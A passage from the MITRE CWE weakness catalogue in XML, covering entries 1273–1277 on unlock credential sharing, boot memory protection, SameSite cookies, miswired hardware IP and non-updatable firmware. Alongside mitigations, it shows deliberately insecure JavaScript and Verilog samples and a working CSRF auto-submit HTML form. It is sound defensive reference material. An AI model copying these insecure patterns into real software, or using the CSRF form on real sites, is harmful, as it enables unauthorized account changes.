					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Functional_Areas</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Debug/Power State Transitions Leak Information</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1273" Name="Device Unlock Credential Sharing" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information.</Description>
			<Extended_Description>
				<xhtml:p>"Unlocking a device" often means activating certain unadvertised debug and manufacturer-specific capabilities of a device using sensitive credentials. Unlocking a device might be necessary for the purpose of troubleshooting device problems. For example, suppose a device contains the ability to dump the content of the full system memory by disabling the memory-protection mechanisms. Since this is a highly security-sensitive capability, this capability is "locked" in the production part. Unless the device gets unlocked by supplying the proper credentials, the debug capabilities are not available. For cases where the chip designer, chip manufacturer (fabricator), and manufacturing and assembly testers are all employed by the same company, the risk of compromise of the credentials is greatly reduced. However, the risk is greater when the chip designer is employed by one company, the chip manufacturer is employed by another company (a foundry), and the assemblers and testers are employed by yet a third company. Since these different companies will need to perform various tests on the device to verify correct device function, they all need to share the unlock key. Unfortunately, the level of secrecy and policy might be quite different at each company, greatly increasing the risk of sensitive credentials being compromised.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="VHDL" Prevalence="Undetermined"/>
				<Language Name="Verilog" Prevalence="Undetermined"/>
				<Language Class="Compiled" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Other" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Integration</Phase>
				</Introduction>
				<Introduction>
					<Phase>Manufacturing</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Scope>Access Control</Scope>
					<Scope>Accountability</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Scope>Non-Repudiation</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Modify Files or Directories</Impact>
					<Impact>Read Files or Directories</Impact>
					<Impact>Modify Application Data</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Note>Once unlock credentials are compromised, an attacker can use the credentials to unlock the device and gain unauthorized access to the hidden functionalities protected by those credentials.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Integration</Phase>
					<Description>Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Manufacturing</Phase>
					<Description>Ensure the unlock credentials are shared with the minimum number of parties and with utmost secrecy. To limit the risk associated with compromised credentials, where possible, the credentials should be part-specific.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example shows how an attacker can take advantage of compromised credentials.</Intro_Text>
					<Example_Code Nature="Bad">Suppose a semiconductor chipmaker, "C", uses the foundry "F" for fabricating its chips. Now, F has many other customers in addition to C, and some of the other customers are much smaller companies. F has dedicated teams for each of its customers, but somehow it mixes up the unlock credentials and sends the unlock credentials of C to the wrong team. This other team does not take adequate precautions to protect the credentials that have nothing to do with them, and eventually the unlock credentials of C get leaked.</Example_Code>
					<Body_Text>When the credentials of multiple organizations are stored together, exposure to third parties occurs frequently.</Body_Text>
					<Example_Code Nature="Good">Vertical integration of a production company is one effective method of protecting sensitive credentials. Where vertical integration is not possible, strict access control and need-to-know are methods which can be implemented to reduce these risks.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="560"/>
         </Related_Attack_Patterns>
         <Notes>
                <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
            </Notes>
			
			<Content_History>
				<Submission>
					<Submission_Name>Parbati Kumar Manna, Hareesh Khattri, Arun Kanuparthi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1274" Name="Improper Access Control for Volatile Memory Containing Boot Code" Abstraction="Base" Structure="Simple" Status="Stable">
			<Description>The product conducts a secure-boot process that transfers bootloader code from Non-Volatile Memory (NVM) into Volatile Memory (VM), but it does not have sufficient access control or other protections for the Volatile Memory.</Description>
			<Extended_Description>
			  <xhtml:p>Adversaries could bypass the secure-boot process and execute their own untrusted, malicious boot code.</xhtml:p>
			  <xhtml:p>As a part of a secure-boot process, the read-only-memory (ROM) code for a System-on-Chip (SoC) or other system fetches bootloader code from Non-Volatile Memory (NVM) and stores the code in Volatile Memory (VM), such as dynamic, random-access memory (DRAM) or static, random-access memory (SRAM). The NVM is usually external to the SoC, while the VM is internal to the SoC. As the code is transferred from NVM to VM, it is authenticated by the SoC's ROM code.</xhtml:p>
			  <xhtml:p>If the volatile-memory-region protections or access controls are insufficient to prevent modifications from an adversary or untrusted agent, the secure boot may be bypassed or replaced with the execution of an adversary's code.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>This weakness can be introduced during hardware architecture or design but can be identified later during testing.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Access Control</Scope>
					<Scope>Integrity</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>Ensure the volatile memory is lockable or has locks. Ensure the volatile memory is locked for writes from untrusted agents or adversaries. Try modifying the volatile memory from an untrusted agent, and ensure these writes are dropped.
			     </Description>
			    <Effectiveness>High</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>
			      <xhtml:p>Analyze the device using the following steps:</xhtml:p>
			      <xhtml:ul>
				<xhtml:li>1) Identify all fabric master agents that are active during system Boot Flow when initial code is loaded from Non-volatile storage to volatile memory.</xhtml:li>
				<xhtml:li>2) Identify the volatile memory regions that are used for storing loaded system executable program.</xhtml:li>
				<xhtml:li>3) During system boot, test programming the identified memory regions in step 2 from all the masters identified in step 1.</xhtml:li>
			      </xhtml:ul>
			      <xhtml:p>Only trusted masters should be allowed to write to the memory regions. For example, pluggable device peripherals should not have write access to program load memory regions.</xhtml:p>
			    </Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Ensure that the design of volatile-memory protections is enough to prevent modification from an adversary or untrusted code.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Testing</Phase>
					<Description>Test the volatile-memory protections to ensure they are safe from modification or untrusted code.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>A typical SoC secure boot's flow includes fetching the next piece of code (i.e., the boot loader) from NVM (e.g., serial, peripheral interface (SPI) flash), and transferring it to DRAM/SRAM volatile, internal memory, which is more efficient.</Intro_Text>
					<Example_Code Nature="Bad">The volatile-memory protections or access controls are insufficient.</Example_Code>
					<Body_Text>The memory from where the boot loader executes can be modified by an adversary.</Body_Text>
					<Example_Code Nature="Good">A good architecture should define appropriate protections or access controls to prevent modification by an adversary or untrusted agent, once the bootloader is authenticated.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2019-2267</Reference>
					<Description>Locked memory regions may be modified through other interfaces in a secure-boot-loader image due to improper access control.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-2267</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="456"/>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-25</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
				  <Contribution_Name>Narasimha Kumar V Mangipudi</Contribution_Name>
				  <Contribution_Organization>Lattice Semiconductor</Contribution_Organization>
				  <Contribution_Date>2021-10-20</Contribution_Date>
				  <Contribution_Comment>suggested content improvements</Contribution_Comment>
				</Contribution>
				<Contribution Type="Content">
				  <Contribution_Name>Hareesh Khattri</Contribution_Name>
				  <Contribution_Organization>Intel Corporation</Contribution_Organization>
				  <Contribution_Date>2021-10-22</Contribution_Date>
				  <Contribution_Comment>provided detection method</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Insufficient Protections on the Volatile Memory Containing Boot Code</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1275" Name="Sensitive Cookie with Improper SameSite Attribute" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The SameSite attribute for sensitive cookies is not set, or an insecure value is used.</Description>
         <Extended_Description>The SameSite attribute controls how cookies are sent for cross-domain requests. This attribute may have three values: 'Lax', 'Strict', or 'None'. If the 'None' value is used, a website may create a cross-domain POST HTTP request to another website, and the browser automatically adds cookies to this request. This may lead to Cross-Site-Request-Forgery (CSRF) attacks if there are no additional protections in place (such as Anti-CSRF tokens).</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="923" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="352" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
			<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This weakness occurs during implementation when the coder does not properly set the SameSite attribute.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Non-Repudiation</Scope>
               <Scope>Access Control</Scope>
               <Impact>Modify Application Data</Impact>
               <Likelihood>Low</Likelihood>
               <Note>If the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposure to CSRF attacks. The likelihood of the integrity breach is Low because a successful attack does not only depend on an insecure SameSite attribute. In order to perform a CSRF attack there are many conditions that must be met, such as the lack of CSRF tokens, no confirmations for sensitive actions on the website, a "simple" "Content-Type" header in the HTTP request and many more.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Set the SameSite attribute of a sensitive cookie to 'Lax' or 'Strict'. This instructs the browser to apply this cookie only to same-domain requests, which provides a good Defense in Depth against CSRF attacks. When the 'Lax' value is in use, cookies are also sent for top-level cross-domain navigation via HTTP GET, HEAD, OPTIONS, and TRACE methods, but not for other HTTP methods that are more like to cause side-effects of state mutation.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, a cookie is used to store a session ID for a client's interaction with a website. The snippet of code below establishes a new cookie to hold the sessionID.</Intro_Text>
               <Example_Code Nature="Bad" Language="JavaScript">
		 let sessionId = generateSessionId()<xhtml:br/>
                 let cookieOptions = { domain: 'example.com' }<xhtml:br/>
                 response.cookie('sessionid', sessionId, cookieOptions)<xhtml:br/>
               </Example_Code>
               <Body_Text>Since the sameSite attribute is not specified, the cookie will be sent to the website with each request made by the client. An attacker can potentially perform CSRF attack by using the following malicious page:</Body_Text>
               <Example_Code Nature="Attack" Language="HTML">
                  &lt;html&gt;<xhtml:br/>
		  <xhtml:div style="margin-left:1em;">
                    &lt;form id=evil action="http://local:3002/setEmail" method="POST"&gt;<xhtml:br/>
		    <xhtml:div style="margin-left:1em;">
		      &lt;input type="hidden" name="newEmail" value="abc@example.com" /&gt;<xhtml:br/>
		    </xhtml:div>
                    &lt;/form&gt;<xhtml:br/>
		  </xhtml:div>
                  &lt;script&gt;evil.submit()&lt;/script&gt;<xhtml:br/>
                  &lt;/html&gt;<xhtml:br/>
               </Example_Code>
               <Body_Text>When the client visits this malicious web page, it submits a '/setEmail' POST HTTP request to the vulnerable website. Since the browser automatically appends the 'sessionid' cookie to the request, the website automatically performs a 'setEmail' action on behalf of the client.</Body_Text>
               <Body_Text>To mitigate the risk, use the sameSite attribute of the 'sessionid' cookie set to 'Strict'.</Body_Text>
               <Example_Code Nature="Good" Language="JavaScript">
                 let sessionId = generateSessionId()<xhtml:br/>
                 let cookieOptions = { domain: 'example.com', sameSite: 'Strict' }<xhtml:br/>
                 response.cookie('sessionid', sessionId, cookieOptions)<xhtml:br/>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="62"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1104"/>
            <Reference External_Reference_ID="REF-1105"/>
            <Reference External_Reference_ID="REF-1106"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Michael Stepankin</Submission_Name>
               <Submission_Organization>Veracode</Submission_Organization>
               <Submission_Date>2020-06-19</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1276" Name="Hardware Child Block Incorrectly Connected to Parent System" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Signals between a hardware IP and the parent system design are incorrectly connected causing security risks.</Description>
			<Extended_Description>
				<xhtml:p>Individual hardware IP must communicate with the parent system in order for the product to function correctly and as intended. If implemented incorrectly, while not causing any apparent functional issues, may cause security issues. For example, if the IP should only be reset by a system-wide hard reset, but instead the reset input is connected to a software-triggered debug mode reset (which is also asserted during a hard reset), integrity of data inside the IP can be violated.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>This weakness is introduced when integrating IP into a parent design.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Testing</Phase>
					<Description>System-level verification may be used to ensure that components are correctly connected and that design security requirements are not violated due to interactions between various IP blocks.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
			  <Demonstrative_Example>
			    <Intro_Text>Many SoCs use hardware to partition system resources between trusted and un-trusted entities. One example of this concept is the Arm TrustZone, in which the processor and all security-aware IP attempt to isolate resources based on the status of a privilege bit. This privilege bit is part of the input interface in all TrustZone-aware IP. If this privilege bit is accidentally grounded or left unconnected when the IP is instantiated, privilege escalation of all input data may occur.</Intro_Text>
			    <Example_Code Nature="Bad" Language="Verilog">
			      // IP definition<xhtml:br/>
			      module tz_peripheral(clk, reset, data_in, data_in_security_level, ...);<xhtml:br/>
			      <xhtml:div style="margin-left:1em;">
				input clk, reset;<xhtml:br/>
				input [31:0] data_in;<xhtml:br/>
				input data_in_security_level;<xhtml:br/>
				...<xhtml:br/>
			      </xhtml:div>
			      endmodule<xhtml:br/>
			      // Instantiation of IP in a parent system<xhtml:br/>
			      module soc(...)<xhtml:br/>
			      <xhtml:div style="margin-left:1em;">
				...<xhtml:br/>
				tz_peripheral u_tz_peripheral(<xhtml:br/>
				<xhtml:div style="margin-left:1em;">
				  .clk(clk),<xhtml:br/>
				  .rst(rst),<xhtml:br/>
				  .data_in(rdata),<xhtml:br/>
				  //Copy-and-paste error or typo grounds data_in_security_level (in this example 0=secure, 1=non-secure) effectively promoting all data to "secure")<xhtml:br/>
				  .data_in_security_level(1'b0),<xhtml:br/>
				</xhtml:div>
				);<xhtml:br/>
				...<xhtml:br/>
			      </xhtml:div>
			      endmodule<xhtml:br/>
			    </Example_Code>
			    <Body_Text>In the Verilog code below, the security level input to the TrustZone aware peripheral is correctly driven by an appropriate signal instead of being grounded.</Body_Text>
			    <Example_Code Nature="Good" Language="Verilog">
			      // Instantiation of IP in a parent system<xhtml:br/>
			      module soc(...)<xhtml:br/>
			      <xhtml:div style="margin-left:1em;">
				...<xhtml:br/>
				tz_peripheral u_tz_peripheral(<xhtml:br/>
				<xhtml:div style="margin-left:1em;">
				  .clk(clk),<xhtml:br/>
				  .rst(rst),<xhtml:br/>
				  .data_in(rdata),<xhtml:br/>
				  // This port is no longer grounded, but instead driven by the appropriate signal<xhtml:br/>
				  .data_in_security_level(rdata_security_level),<xhtml:br/>
				</xhtml:div>
				);<xhtml:br/>
				...<xhtml:br/>
			      </xhtml:div>
			      endmodule<xhtml:br/>
			    </Example_Code>
			  </Demonstrative_Example>
			</Demonstrative_Examples>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-22</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Hardware Block Incorrectly Connected to Larger System</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1277" Name="Firmware Not Updateable" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The product does not provide its
			users with the ability to update or patch its
			firmware to address any vulnerabilities or
			weaknesses that may be present.</Description>
			<Extended_Description>Without the ability to
			patch or update firmware, consumers will be
			left vulnerable to exploitation of any known
			vulnerabilities, or any vulnerabilities that
			are discovered in the future. This can expose
			consumers to permanent risk throughout the
			entire lifetime of the device, which could be
			years or decades. Some external protective
			measures and mitigations might be employed to
			aid in preventing or reducing the risk of
			malicious attack, but the root weakness cannot
			be corrected.</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="1329" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
		 <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
		 </Weakness_Ordinalities>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Requirements</Phase>
					<Note>Requirements development might not consider the importance of updates over the lifetime of the product, or might not choose the ability due to concerns such as expense or speed to market.</Note>
				</Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Lack of planning during architecture development and design, or external pressures such as speed to market, could ignore the capability to update.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The weakness can appear through oversight during implementation.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Likelihood>Medium</Likelihood>
					<Note>If an attacker can identify an exploitable vulnerability in one device that has no means of patching, the attack may be used against an entire class of devices.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>Create a new installable boot image of the current build with a minor version number change. Use the standard installation method to update the boot image. Verify that the minor version number has changed. Create a fake image. Verify that the boot updater will not install the fake image and generates an "invalid image" error message or equivalent.</Description>
			    <Effectiveness>High</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Architecture or Design Review</Method>
			    <Description>Check the consumer or maintainer documentation, the architecture/design documentation, or the original requirements to ensure that the documentation includes details for how to update the firmware.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Manual Dynamic Analysis</Method>
			    <Description>Determine if there is a lack of a capability to update read-only memory (ROM) structure. This could manifest as a difference between the latest firmware version and the current version within the device.</Description>
			    <Effectiveness>High</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Requirements</Phase>
					<Description>Specify requirements to include the ability to update the firmware. Include integrity checks and authentication to ensure that untrusted firmware cannot be installed.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Design the device to allow for updating the firmware. Ensure that the design specifies how to distribute the updates and ensure their integrity and authentication.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Implement the necessary functionality to allow the firmware to be updated.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example Demonstrative_Example_ID="DX-145">
					<Intro_Text>A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.</Intro_Text>
					<Example_Code Nature="Bad" Language="Other">The refrigerator has no means of patching and is hacked becoming a spewer of email spam.</Example_Code>
